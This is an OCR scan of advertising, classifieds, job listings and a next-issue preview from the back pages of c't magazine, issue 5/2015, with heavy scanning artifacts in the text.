Spielen S i e  1 080p-Videos m i t  7. 1 Aud io-Passth rough a b  

u n d  wandeln Sie HO-Videos 1n Echtzeit  ode r  offl i n e  i n  

u niverselle Formate u m .  

HDMI X 2  
liiiiiiil 
llJMoottd 
Ols!>law 



Unsere Partner. Ti g e l 0 g i c tml-software 
� , .  yatta.q 

SOflWARE 
TOOlS 
CONSULTING 





I M M E R E I N E  I D E E  
SCH LAU E R. 



Sie mit Lc-Power 
Gewinnen 

rliihrung vo n 
eine private K/novo S /..- " 

Tl Secret erv .. -
"Kingsman - re 

nde •  
für sich und It�re Freu . 

Diesen und viele weitere 

. finden Sie u nter 
Gewm ne 

www• lc-power·com 

Business Cases I Markt I S<lftware I Hintergrund I News /, e "se Frische Ideen Iinden 
Sie bei heise open. 

Open Source 

Open Source bringt frischen Wind i n  die IT. 
heise open spürt die aktuellen Trends auf und analysiert das 
Geschehen am Markt. Wir lassen Anbleter und A11wender zu Wort 
kommen und zeigen . wohin Sich d ie Technik entwickelt. 
Offen. transparent und auf den Punkt geb racht - fluillitit enbdMIHt 

SPORT 

Die brandneuen 

AiRazor·Gehäuselüfter 

von LC·Power 

Damit behält der 

Secret Service 
einen kühlen Kopf! 

Aus- und Weil erbildu ng zur Fachkran für IT-Sicherheit. 
Vorbereitung auf das SSCP- und CISSP-Zel'tflkat 
Ein Bervf mit Zukunft . Kostengunstiges und praxisge­
rechtes Studium ohne Vorkenntnisse. Beginn jederzeit. 
NEU: Roboter-Tec:hniker, Netzwerk-Techniker, 

Quali täts beauftragter I -manager TOV, 
Linux-Adm i n istrator LPI, PC-Tech n i ker 

Teststudium ohne Risiko. 
GRATIS-Infomappe gleich anfordem1 
FERNSCHULE WEBER · seit 1959 
Neerstedter Str. 8 - 26197 Großenkneten - Abt. C1 4  
Telefo n 0 4 4  87 I 263 • Te lefax 0 44 8 7  I 264 



W I R D E N K E N  W E I T E R .  

201 5 

I H R E  VO RTE I LE A LS ABO N N E NT: 

• VO RS P R U N G  G E N I ESS EN. 

Fr ü he r  bei  I h ne n  a ls i m  Handel  erhä lt l i c h .  

• P R E ISVO RTE I L  S I C H E RN. 

Mehr a ls 34 % E rspa r n i s  im Ve r g leich zum 

E i nzelka u f  wä h re nd des Testzeit ra u ms.  

• EXKLUSIVES ERFA H R E N .  

Monat l1 c h e r  C h e fredakte urs-New s letter 

• EVENTS B E S U C H E N .  

1 0 % R a b a t t  a u f  a l le He ise-Eve nts.  

3 Au sga ben Techno logy Review 
m i t  34% Rabatt testen 
und Geschen k erhalte n .  

LAMY S C H R E I B S E T  

• H oc hwer t i g e r  K u g e lsc h re i b e r  a us 
str ic h matt ier tem Edelsta h l  

• Haftnotizb lock i m  Le d e re t u i  

• l n  a t t ra k t iver G e s c he n kve r pa c k u ng 

E R FA H R E N ,  wie s i c h  u n ser Le b e n  e n t w i c ke lt .  E R LE B E N ,  welc h e  I dee n s i c h  d u rchsetzen . 
E R K E N N E N ,  we lche M ö g l i c h ke i ten d e r  Fo r l sc h r i t t  b i rg t .  

D I E  C H AN C E N  F R Ü H E R  E NTD E C K E N .  



Heise Homepages 

Verliebt in 
die eigene 
Homepage? 
Das kann Ihnen auch 
passieren - mit einer 
Heise Homepage. 

Denn Heise Homepages sind hand­

made in Germany und immer am 

Puls der Zeit. Natürlich sind sie auch 

Smartphone tauglich, Google opti­

miert und überzeugen mit modern­

ster Technik. Auf Wunsch sogar mit 

Shopsystem. 

Wechseln Sie jetzt zu Heise Home­

pages: Wir bieten Ihnen eine bezahl­

bare Hornepage mit Rundum-sorg­

los-Service, in die Sie sich verlieben 

werden. 

Rufen Sie uns an. 

0511 I 51 51 99 70. 
Wir freuen uns auf Sie! 

13� � 
www.heise-homepages.de 

rJ Heise Media Service 

PPC-F H81 Serie 

• 15· bis 24· Displays 
• Intel® H81, Core™ i7/i5/i3 
• Formschöner, robuster 

Aluminiumrahmen 
• Multitouchscreen 
• Frontseitiger IP65 Schutz 

• 15• XGA Display 
• IP65 Aluminium Gehäuse 
• Intel® OMn, Core™ i3/i7 
• CAN-Bus Interface 
• RFiD Reader 

AFL3-W07A-BT 
� 
� 

• / WSVGA 
• Frontseitiger IP65 Schutz 
• Intel® Celeron® N2807 
• Kompakte Bauform 19xl3 (cm) 
• 9-30V DC 

Ihr Partner für 
individuelle Lösungen 

02834 n93020 
vertrieb@abeco.de 

www.abeco.de ��--···. o 

ASECO lndustri•·Computet GmbH O. � ·�·� 
lndurtri_,..., 2 47638 Stroalen ·- ., 

-_, ______ l..,.._ ..... .__ __ ....... ..... 
==.::::::...-::=::::-.-:.."=:---MCJ•-

I N  DUSTR I  E-STAN DARD 

ETH E R N ET 

Switches 
• 10/100/1000 Mbit managed I unmanaged 
• PoE & LWL, RJ45, Ml2, SC, ST, SFP 

Mediakonverter 
• 10/100/1000 Mbit Kupfer nach LWL 
• Multi/Single Mode; SC, ST, LC Anschluss 

WLAN E/A-Module 
• Digital und analog, Zähler, Pt100 
• IEEE802. 1 1  b/g 
• Modbus TCP, UDP 
• Pair Connection Modus 

WLAN Komponenten 
• 802.11 b/g/n Access Points, VPN Router, 

Wi·Fi Bridge 
• Devlce Server für RS·232/422/485 
• WLAN/LAN nach 3G Gateway 

www .spectra. de/1 KT 

all about 

automation 
dortmund 

Spectra GmbH & Co. KG 

1 1 .-12.03.15 
Halle 8 
Stand 416 

Telefon +49 (0) 71 21 • 143 21 • 0 
Internet www .spectra.de 

Niederlassung Österreich 
Telefon +43 (0) 72 40- 201 90 
Internet www.spectra-austna.at 

Spectra (Schweiz) AG 
Telefon +41 (0) 43 -277 10 50 
Internet www.spectra.ch 



Kleinanzeigen ---------------------------------------­

ORACLE Feuerwehr www.oraservices.de 

Zeit-Projekterfassung: www.hera-software.de � 

Antennenfreak.de - A ntenneo und Zubehör für UMTS 
HSPA+ LTE GSM EDGE. kompetente Beratung � 

Fachhändler gesucht (50% Marge)! Adress- und 

Kundenverwaltung für Microsoft Office. Success­

Control CRM - www.successcontrol.de IQI 

EDELSTAHL LED SCHILDER: www.3D·buchstabe.com 

HAUSNUMMERN nobBi 230V-: www.3D-hausnummer.de 

>>>>> Profis entwickeln Ihre Software <<<<<< 

Professionel le Softwareentwicklung u nter UNIX 

und Win dows zu Festpreisen .  De lta Datentechni k 

GmbH , 73084 Salach, Tel .  0 71 62193 1 7  70. Fax 

93 1 7  72, www. dettadatentechnik.de IQI 

www.kostenlose-platinen- software. de 

DATENRETTUNG v. HDD, RAI D, SSD- Erfolg >99% 
www.datarecovery.eu - 24h- Tel.: 0800-073 88 36 � 

P ri va te K lein a n zeige: 

SYstemprogrammierul!lg aus NRW www.tsls.de � 

nginx-Webhosting: t immehostin g.de [§] 

JAVA: www.TQG .de/untemehmen/Karriere riD 

www.patch ka bel.de - LWL u nd Netzwerk Kabel IQI 

Falls Sie Ihre Daten tatsächlich brauchen 

Experl.en-Datenrettung@www.xdatenrettung.de riD 

softaktlv.datensysteme Datenbankappllkationen, 

Website Boosting, Online-Pressem i tteilu ngen . 

Unterstützung bei Ihren V-Projekten . Ein fach an­

rufen, Faxen edel' ei ne E-Mail schic ken . 

Telefon: 05 1 1 /3 88 45 1 1 ,  Mobil: 01 /U/3 21 00 24, 

Telefax: 05 1 1 /3 88 45 12, E-Mai l: sel'vice@soft-

aktv .de, Internet: www.sottaktiv.de 

Etfahrene Dip!om-Fachü bersetzerin übersetzt 

EDV-Texte alter Art (Software und Hardware) i ns­

besondere Texte aus den Bel'eichen Telekommu­
n ikati on und Netzwerke. En g l isch-Deutsch . Tel . + 

Fax: 0 5 1 3013 70 85 

xx&-kurze Daten- & Stromkabel: kurze-kabel.de [§I 

Anzeigenschluss 
für die nächsten 

erreichbaren Ausgaben: 

07/201 5: 1 7. 02. 201 5  
08/201 5: 03. 03. 201 5  
09/201 5: 1 6. 03. 201 5  

Bitte verötrentlichen Sie in der näc hsterreichbaren Ausga be (Vorla ufzei l  mond. 3 Wochen) folgende Anzeige im  
Fl ießsatz 0 pnvat 0 gewerb l ich• (werden 111 c ' t  mot llll gekennzeichnetl 0 Ch<lfre 

€ 10. (>n. ' 
erste Druckzeile € t o.- ; jede wei tere Zeile € 8 , - l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l 

204 

G ewerbli<he K le i n anzeige: 
erste Druc kzei le € z o , - ;  j ede weitere Zeile € t6.-
Chiffre-Anzei ge: € s.- Gebühr 

H i n we i s: D i e  Rechn u ngsste l lung erfolgt nach 
Veröffentlic hung der Anzeige! 

Hame/Vcon•mP 

Str./ N o  

PLZ/On 

Bitte veröffent l i c hen Sie den Text in der 
nächs te rre ic hbaren Au sga b e  von c't. 

0 Den Betrag habe ICh au F Ihr Konto ubeJwie;en. 
Sparkasse Hann over, 
IBAN DE98 2505 0180 oooo 0199 68. BIC SPK+i OE 2H 

ßel Angeboten: Ich versichere, dass Ich a lle Rechte an den a nge· 
boteneo Sachen besitze 

Faxn ummer: 05 11 I 53 52-200 

l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l 

€ '" IT. ' l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l 
€ ]1,.- (61!. ) 
l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l €r2.- {81, ) 1 1 1 1 1 1 1 1 1 [ 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 er. hoo.-J 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 
l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l 
€ M  (Ir-) 
l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l l 
Pro le o le bitte )t'We ols 45 Bulhstaben eonsc hl ießlich Satueochen und Wor tzwJschenräumen. Wo<te r. d1e 
fettgedruckt (nur 1n der ersten Zeile möglich) erschet nen sollen. u nterstreichen S1e btlle . Deo genauen Preis 
kö nnen Sie so se lbst ablesen. • Der Preis fur gewerbliche Kleinanzeigen Ist in  Klammem angegeben. Soll d ie 
Anzeige unter ei n er Ch1 ffre-Nu mmer eJschelnen. so erhöht sich der Endpreis u m  € 5.- Chiffre-Gebühr. 

AuslUllen u n d  einsen den a n '  [) Heise Zeltschriften Verlag Gm b H  & Co, KG 
c'I-Magazl n ,  Anzei gena b teilu ng 

Karl-Wiechert-Ailee 10, 3o 6zs H annover 

'+ Weiterlesen, wo andere aufhören.  

c't 2 0 1 5, Heft 5 



iX-Workshop 

C++1 1 
Mit dem 201 1 er Jahrgang witd C++ einfacher und sicherer. C++ 1 1  liefert 
größere Typsicherheit und unterstützt generative Ptogramm iet ung und 
Meta-Template·Programm1erung noch besser. Es gibt neue Standard­

R eferent 

Bibliotheken und es wird Multi-Threading unt�tiJtzt. Und nicht zuletzt macht C++ 1 1  einfach mehr Spaß. 

Bestehende Softwareprojekte werden derzeit auf d ie neue Version migriert und für neue C++-Projekte 
ist C++ 1 1  der Standatd . Und d ie nächste C++-Version ist schon in Sicht. 

Dieser Workshop stellt am ersten Tag sowohl d ie Sprachetweiterungen als auch die neuen Bibl iotheken 
in C+ + 1 1  vor. Dabei werden d ie neuen Elemente zu Multithread ing und Paral lel ität nur kurz vorgestellt. 

Oetlef Vollm,.nn begleitel 
als Consullanl. Coach und 
Trainer C++- und Embed· 
de d Projel<te Er isl seit 
2000 der Schweizer Vertre­
ter be1 der ISO !Or doe Stan­
dardisierung von C•+ und 
aktiv an der  Entw icklung 
beteiligt. besonders Im Se­
reich Co� ourrency 

Am optionalen zweiten Tag steht jedem Tei lnehmer ein Notebook zur Verfügung, mit dem er 
ausgewählte C++ 1 1 - Mechanismen an praktischen Beispielen üben kann. 

Vorau ssetzungen: 

Kenntnisse O ber die Details von C++98/C++03 und Entwicklungserfahrung . 

Tei l nahmegebühr: 

Einzelticket 1 .  Tag :  593,81 Euro 
Einzelticket 2. Tag: 7 1 2 ,81 Euro 
Kombiticket 1 .  + 2. Tag:  1 . 1 88,81 Euro 

,., F'n!loe __,_., llidllnld !,t,oßl 

Eine Veran� von: 

Organisiert von 
heise Events 

Weitere Infos unter: www.heise·events.de/Cplusplus1 1_201 5 

www . ix ·konferenz.de 

G-Dream Revision 6.1 Air 
• I ntel Core i5- 4690K @l 5 2 00  Extreme 

• Noctua NH U 1 2P mit 12 cm Lüfter 

• 8GB G.Sklll Tri dentX DDR3·2400 

• MSI Z 9 7S  SLI Krait  Edition 

• NVIDIA GEFORCE GTX 970 @l Ultra - sllent Kühler 

• 25 OGB Samsung 840 EVO SSD S-ATA f l f  

• 2000 G B Seagate 5-ATA f l f  

• LG BH-16 NS 

• Onboard Sound 

• Cooltek Antipho n Black 

• SOOW be quletl Straight Power E1 0 CM • silent 

• Microsoft Wlndows 8.1 6 4- blt 

• 2 Jahre Gewährl eistu ng 

liLTRA S I LENT A N D  
H I GH PERFORMANCE 

ab € 1 .429,-
oder ab 52,40 E/mt1.1 1  

G-Dream Revision 6.3 Air 
• Intel Core i7-S8Z <X @1 6000 Extreme 

• Noctua NH-014 mit 1 4 cm Lüfter 

. 1 6 GB G.Skill Ripjaws 4 DOR4-2666 

. MSI X99S SLI Plus  

• NVI DIA GEFORCE GTX 970 @l Ultra - silent Kühler 

. 250GB Samsu ng 85 0 EVO SSO S·ATA 1 1 1  
• 1 OOOGB Seagate S·ATA 1 1 1  
• LG GH-24NS 

• o nboard Sound 

• Fraetat Desig n Oefine RS Black 

• 600W be quietl Straight Power E 1 0  CM- sllent 

• Microsoft Windows 8. 1 64-bit 

• 2 Ja hre Gewährleistung 

ULTRA SILENT ANO 
HIGH PERF ORMANCE 

ab € 1 .999,-
oder ab 64,90 E/mtl.11 

G- Dream Light Revision 6.1 Air 
• Intel Core iS-44150 @l ECO Gr�n 

• E KL Alpenföhn Brocken ECO mit 1 2cm Lüfter 

• s G B Co rsair XMS3 DDR3 1 6 00 Ram 

. MSI Z97 G43 

• NVI D IA GEFORCE GTX 970 @l Ultra 

• 1 OOOG B  Seagate S-ATA 1 1 1  
. LG GH-24NS 

• O nboard So u nd 

• Interne Lüftersteuerung 

• Nanoxia Deep Sil ence 3 

• 430W be quietl Pure Power LS CM - si lent 

• Mi crosoft Windows 8.1 64 -bit 

• 2 Jahre Gewährle istu ng 

U LTRA SI L E NT AND 
H I G H  P E R F ORM A N CE 

ab € 999,-
oder ab 35,70 €/mtl . 1 1  

h d A Beste l l -Hot l i n e: 085 1 -2 1 5 5 3690 www. h a rd wa re4 u . n et 
1'1 a r  ware� u �l � "-11W n ......... � ... � 6ef S,."  .. "''det" � S...,. t. ..... l�Nitl ...ot\ 36 � l1.1 � .. t ... trlo'Or'l � lltb l0..9 111 

� 9'C:-J  .... � ...- �� � �., (.a.&.r l�·s..J � � � T�" UII"'d \Jod.ll[b � 
..... � � � �  T� � � '-""C:C C)-� ""9'�  � -c "Mo* .. �lol rwt Tlat\.B �  
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� STELLENMARKT 

Wir sind aln mmelständlsches 
Kfilttfuttarwerk und •'s LJcforant von 

hochwertlg&n Oualif.itslutr•rn sn dir! 
Landwlruch•ft bei<Bnnt 

Zur Unte1stützung u nseres Teams suchen wir e i ne/n: 

PROGRAMMIERER/ SYSTEMBETREUER (mtw) 
1n Vollzell 

Wir bieten: 
• em interessantes und vielfältiges Aufgabengebiet 
• umfassende Einar bertung in etnem kle1nen, motivier ten Team 
• die Sicherheit eines erfolgreichen Unternehmens 

Ihre Aufgaben: 
• Entwi cklung und Betreuung hauseigener Softwarelösungen 
• Betreuung und Pflege der EOV�Infrast• uktur 
• t f-Suppo•1 für Mitarbeiter 

Ihr Profil: 
• meh�ahrige E1fahnmg im BereiCh der Softwareentwick lung (Embarc:adero 

DeiPho Xts) 
• umfassende Kenntnisse in Betreuung und Programmierung von Daten� 

banken IFrreliordl lfllelt>ase und Ooacle) 
• einschlägige E1fahrungen in der Betreuung von Netzwerken und 1m Mit­

arbeitersupport (Software/ HardWare) 
• Teamfähikgeit 
• von Vo rteil s ind Er fahrungen mit der Groupware Tobit David und der 

Vntuatisierungslösung Vmware sowie der MS Office Suite (Progl'ammie� 
rung). Ebenfalls notzhch sind Kenntnisse im Bereich der Betriebssyste­
me MS Windows Server 2000/ 2012, W1ndows XP bis Windows 8 und 
Linux 

Haben wi r Ihr Interesse geweckt? 
D ann senden Sie  I h re vollständige und aussagekräftige Bewer­

bung ink lusive Gehaltsvorstellung bitte zu uns: 

H ERMANN SC HRÄDER 
HS-Kraftfutterwerk Gm bH & Co K G  

www h&<S<:hreedar.d e  Postfach 13 65 Ma ll: d.waiZ@h&-&chraoder.do 
www hs-hemo.de 4S602 Ochtrup Tel. :  o 25 53/ 78-33 

� HINSTORFF 

VIELFALT 

Will kommen bei heise online! 
Als Junior-System- und Netzwerkadmini strator (m/w} kön· 
nen wir Ihnen Abwechslung garantieren: Sie adm i n i strieren 
Unix/�L inux- und Windews- Server (Hard- u n d  Software), 
pflegen und entwickeln kontinuierl ich u n seren Webauftritt 
(php. JavaScri pt) , prog rammieren u n d  warten Systemskri pta 
(Shel l ,  Perl). Die Vi rtual isieru n g  mit VMware ru ndet Ihr Aufga­
benprofil ab. Wir suchen Menschen mit Charakter. d i e  sich 
d u rch Kommunikationsstärke und durch e in  verb ind l iches. 
kundenorientiertes und souveränes Auftreten auszeichnen. 

Das Bayerische Landeskri mina lamt 

sucht für das Sachgebiet 21 0 - Forensische luK 
in der Abteilung II - Kriminaltechn. Institut 
mit Sitz in München, Maillingerstraße 

zum n ächstmöglichen Termi n einen 

Diplom-Ingenieur oder D iplom- Informatiker (m/w) 
FH o. Bachelor 

Fachrichtung lnfo1matik,  Elektrotechnik oder technische Physik 

Ihre vorrang1ge Aufgabe wird es sein, d igitale Spuren 1n Mobi lfunktelefo­
nen . m C omputern und im Internet forensisch zu sichern und auszuwerten . 
Voraussetzung hierfür sind gute Kenntnisse der Funktio nsweise von 
Mobilen Geräten {z . B .  Smartphones I Navigatio nssystemen) , der 
Betriebssysteme Windows und Li nux!Unix sowie Erfahfvng in  Program­
miersprachen (z.B. Java, C++-, C#) und Skriptsprachen {z. B. PHP. Pe11, 
Python). 
Ihre Untersuchungsergebnisse dokumentieren Sie in gerichtsverwertbarer 
Form und vertreten diese als Sachverständiger vor Gericht. Wir geben 
gerne auch Berufseinsteigem eine Chance. Die Ausbildung zum Sach­
verständigen der Forensischen tuK erlolgt beim Bundeskriminalamt in 
Wiesbaden . 
Fragen zum Tätigkeitsbereich: Hr. Kerter unter 089/12 12-4454; 
Beschäftigungsverhältnis Hr. Rauschert {-3 1 93). 
Ihnen stehen gut ausgestattete Laborräume und em modernes B ü ro zur 
Verfügung. Wir bieten einen krisensicheren Arbeitsplatz. an dem Sie eine 
positive Arbeitsatmosphäre i n  einem dynamischen und i nnovativen Team 
erwartet. 
Die Bezahlung erlolgt nach Entgeltgruppe 10 TV-L 
Bei Vor1iegen der laufbahnrechtlichen Vo raussetzungen wird d ie  Über· 
nahme in ein Beamtenverhältnis der 3. Qualifikationsebene (QE) ange­
strebt. 
Die ausgesch riebene Stelle ist tei tzeilfähig. Schwerbehinderte Bewerber 
werden bei ansonsten im Wesentlichen gleicher Eignung bevorzugt. 
Zur Verwirklichung der Gleichstel lung von Frauen und M ännern besteht ein 
besonderes Interesse an der Bewerbung von Frauen. 
Ihre schriftliche Bewerbung senden Sie bitte bls zum 20.02.2015 an: 
Bayerisches Landesk rim inalamt Sachgebiet 1 1 1  - Kennwort 21 0 
Mall l i ngerstr. 1 5. 80636 M ünchen 
Bewerbungsuntertagen: Bewerbungsschreiben ,  Lebenslauf und in 
Kopie die Zeugnis se par Post. 
Bitte verwenden Sie kei ne Bewerbungsmappe! - Kei ne Mailbewerbung! 

Sie ve1fügen über Windows-/Mac-/Unix-/Linux-Know- How 
und besitzen Kenntn i sse über Helpdesk-Systeme. Erfahrung 
mit Software-Prod ukten im DTP-. Prepress- und Verlagsum­
feld sowie im produkti ven Betrieb kommerziel ler Webauftritte 
runden Ihr Profi l  ab.  

Wir freuen uns auf Ihre Bewerbung - auch über Bewerb u n ­
g e n  v o n  Berufse insteigern (m/w) u n d  -umsteigern (m/w)! 

B itte bewerben Sie sich o n l i ne über 
Sie bringen Erfahru ng im IT-Umfeld durch eine abgeschlos- www.heise-medien.de/ka rriere 
sene Ausbi l d u n g , Fortbi ldung. ein abgeschlossenes IT-Studi-
u m  oder mehrjährig e  Berufserfahru n g  mit .  
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PTB Physikal isch-Technische Bundesanstalt 
Braunschweig und Berlin 
N!ltion� Mellologieins1i!Lt 

Die Physikalisch-l echn ische Bundesanstall (PTB) ist das nationale 
Metrologiein stitut der Bundesrepublik Deutschland mit 

wissenschaftlich-techn i schen Dienstleistungsaufgaben und fördert 
Fortschritt und Zuverlässigkeit in der Messtechnik fü r Gesellschaft, 
Wi rtschaft und Wissen schaft. 

Das Referat 0. 1 1  "Wissenschaftliche Bibliotheken• in Braunschweig 
sucht zum 01.  April 2015 einen/eine 

Softwareentwickle r/ in  oder  
Anwendu ngsentwickler/i n 
für Date n ba n k- u n d  
We banwendu ngen 
(Kennziffer 15-005-Q) 

Informationen Ober die PTB und den 
detaill ierten Text der Stellenaussch reibung 
mit den Aufgaben und Anforderungen 
finden Sie im Internet unter www. ptb. de 

Kontakt: 
Wrr freuen u n s  auf Ihre Bewerb u ng. Physikahsch-Tech"'sche 

Bundesanstalt 
Bundesa llee 100 
38116  Braunschweig 
www. ptb.de 
Telefon 0531 592-91 04 

� STELLENMARKT 

Oie Katholische Stiftungsfachhochschule München . Fachhochschule d e r  
kirch Iichen Stiftung des öffentl ichen Rechts .Katholische Bildungsstätren fiir 
Sozialberufe in Bayern ". sucht für ihre Abteilung München und Benediktbeuern 
zum nächstmöglichen Zeitpunkt eine 

IT-Leitung (1 00°/o) m/w 
I hre Aufgabenschwerpunkte 
• Veran twortl i c h e Leitung und operative Steuerung der llCAbteilung der 

KSFH i n  personeller, fac h licher und oegan isator ischer H insicht 
• Gesamtverentwortung für die durch die IT zu erbringenden Dienstleistungen 

und IT-Sicherheit 
• Koordination der Zusammenarbeet mit externen Dlenstlelstem 
• Übamahme der Etgebnis- und l<osterwemotwortung in allen Aufgabel'\bereichen 
• Sonstige durch den CIO (Chief Information Officer) und der Hochschul­

leitung angeordnele Aufgaben 

Wir erwarten 
• Abgesc:hlossenes Hochschulstudium und/oder entsprechende Kenntnisse, 

die aufgru nd gleic hwertiger Tätigkeiten und Erfah rungen erworben wurden 
• Mehrjährige Berufs- bzw. Projekterfahrung I m  Bereich der IT-Leitung oder 

vergleichbare Erfahrungen 
• Füh ru ngser fahrung, Kommunikations- und l eamfähigkert 
• Zuverlässigkeit, selbstständ ige , systematische Arbeitsweise, 

Verantwortungsbereitschaft 
• Die Identifikation mil den Wel len und Zielsetzungen einer Hochschule in 

kirch licher Tragarschatl und die Zugehörigkeit zur tc:athol isc hen tc: irche 
setzen wir voraus. 

Unser Angebol 
Wir bieten eine interl!ssa n tll und abwec hslungsreic h e Tätigkelt mit vielfälti gen 
Gestaltungs- und Entwicklungsmöglichke iteil in einem attrnldiven Arbeitsum ­
feld. Die Vergütung erfolgt nach TV-L E12. 

Ihre aussagekräftige Bewerbung mit vollständigen Unterlagen richten Sie bittll 
bis zum 28.02.201 5 an die Katholische StJttu ngsfachhochschule M ünchen, 
Or. Cordula Schön (Verwaltungs Ieitu ng), Preysingstraße 83, 81667 München 
oder per Mail an co•'dula.schoen@ksfh.de. 
Für weite re Informationen ü ber die ausgeschMbene Stelle steht Ih nen Herr 
Prot. Or. Jochen Ribbeck u n ter jochen .ri b beck@ ksfh.de zur  Verfügung. 
Informationen Oberd i e  Hochschule finden Sie Im Internet unter www. ksfh .de. 

Deutscher Bundestag 

D ie Vem•a l tung des Deu tsc hen S u ndestages ist eine oberste Bundesbehörde. die dem Verfassu ngsorgan l)eutscbar 
Bun destag bei der Erfii l l ung sei ner u m fassenden gesP. I zgeberischen und kontrollierenden A u fgijben inhultlich und 
organisa torisc h zuarbeitet. 
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Für d.u Referat IT 1 - ll�Grunds atzfragen. Zentra le ll�Systcme, Anwen d u ngen - suchen wir 

einen Di pl .-Informatiker/ 
eine Di pl . -Informatikerin 
(Dipl .FH /BA) 
zur sofortigen Ei nstel lung. 

Jl ie ße�ahl urig erfo lgt nach der Bun desbesoldungsordnung [Resoldungsgru ppe A 1 '1) bzw. dem 1'Rri fveruag Hir den öffentlichen 
Dioost (Eotgeltg!Uppe 1 2  boi min destens dreijähriger einschläsiger Erfahrung, ansonsten Entgeltgru p pe 1 1 ), 

Den ausffthrlichen Ausschre i bungstext finden Sie u ntnr: 
www.bundeslag .de/service/stellenangebote/stellen/index. h l ml sowie www.bund.de 

Bille senden Sie Ihre aussagek räftigen und vollständigen llewerbu ngsunlerlagen (S I:bu l absch luss- und Ausbi ldungszeugnisse . 
Qualifkatinnsnach wei sl!. Beurteilungen . A rbe i ts:.Ge ugn i sse etc.l i n  schrHtl i1:her Form unter Angabe d er Kennl'i ller IT l/29 b i s 
zum 23. Februar 2 U 1 5  [Datum des Poslslem pelsl an: 

Deu tscher ll u ndestag - Ve�walluJ18 
Personal refera l ZV 1. Pla tz der Republik 1, l lOU Herlin 
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Vorschau 

I Das bringt 
Ab 2 1 . Februar 201 5 a m  Kiosk 

Die vielen Talente der Fritzbox 

Die Fr itzbox ist a l s  DSL- und Kabei-Router 
zwa r sehr weit verbreitet. Aber i n  ihr steckt 
weit mehr, a l s  d ie  a l l e rmeisten Besitzer 
ahnen. Wi r ste l len vor: d ie F ritzbox als Tele­
fonkostenspa rer, als Fax-Station fü r PC und 
Tablet, a l s  Vo i P- und DECT-Helfer . Und  a l s  
skriptbarer Geist. 

6/1 5 
www.ct.de 

Was folgt auf Flash-Speicher? 

Das Bessere ist des Guten Fe ind :  Meh rere 
Techn iken stehen i n  den Sta rt löchern, um 
NAND-F iash a l s  schne l len Massenspeicher 
abzulösen, darunter MRAM, RRAM und PCM. 
Wann kommen d ie schne l leren und robus­
teren Nachfo lger  wirk l ich und  wer hat d ie  
besten Chancen? 

Tinten-Profis fü rs Büro 

Professionel le Multifunktionsgeräte mit Fa rb­
t intendruckwerk übernehmen a l l e  Arbeiten 
rund ums Drucken, Scannen, Kopieren und 
Faxen.  Sie lassen s i ch  problemlos ins Netz­
werk integ rieren, drucken mit ih ren Pigment­
fa rben dokumentenecht und günstiger a l s  
verg leichbare Laserd rucker. 

Der optimale Photoshop-PC 

Adobe g ibt keine konkreten Empfeh lungen, 
welche Ha rdwa re Photoshop auf Tou ren 
br ingt .  Dabe i  macht es e inen g roßen Unter­
schied, ob man 1 50 Eu ro extra i n  e inen 
schnel leren Prozessor, i n  d ie  Grafi kka rte, i n  
mehr  Arbeitsspeicher oder  i n  e ine SSD 
investiert. 

Musik-Verteilsysteme 

Streaming-F iatrate, UPnP-Server und WLAN 
br ingen Mus ik  i n  jede Ecke der Wohnung .  
Richtig komfortabel wi rd der Spaß aber  erst 
mit einem Mehrraum-Musiksystem. Nun  wol­
len zwei Schwergewichte der Unterha ltungs­
branche e inen Fuß  i n  d ie  Tür bekommen:  
Denon und Samsung. 

@ heise o n l ine Ständiger Service a uf heise on l ine - www.heise.de 

heise Netze: Der I nformationsdienst fü r a l l e, 
d ie  s ich mit Netzwerken befassen. Unter 
www.heise-netze.de finden Netzwerker rele­
vante News, praxi staug l iches Wissen und  
nützl iche On l ine-Werkzeuge. 

TechStage: Im  Gadget-Biog www.techstage. 
de finden Sie News und Tests zu Smartphones 
und Tablets, dazu eine Produktdatenbank, 
Ratgeber und eine engagierte Community. 

Bild motive aus c't: Ausgewäh lte Tite lb i lder 
a l s  B i ldsch i rmhintergrund auf www.ct.de/ 
motive 

2 1 0 

Heft 1 /201 5 jetzt am Kiosk 

jetzt am Kiosk 

Lesen Sie c't auch auf I h rem 
Tablet oder Smartphone - mit 
unserer kosten losen App fü r 
Android und iOS: www.ct.de/app 

Änderungen vorbeha lten 
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T H E I T  A R C H I T E C T S 
Wenn Sie stattdessen die New Yorker Skyline - erbaut aus über 1 00.000 freistehenden 

Spielkarten - sehen wollen, komme n Sie zum Flughafen D üsseldorf oder besuchen Sie 
uns auf www.einziga rtiges-aufbauen.com 
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Service-Champions 

Im erlebten Kunde!-•• 

STRATO 
Nr. l der Webho1tlng-Anbleter 

bt! lbnlciog: 9 Wd>llcminz-Ailbiecer I 0 1 20 1 4  
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PowerWeb Basic 
1 2  Monate fü r 

6:90 €  0 -
1 €/Monar 


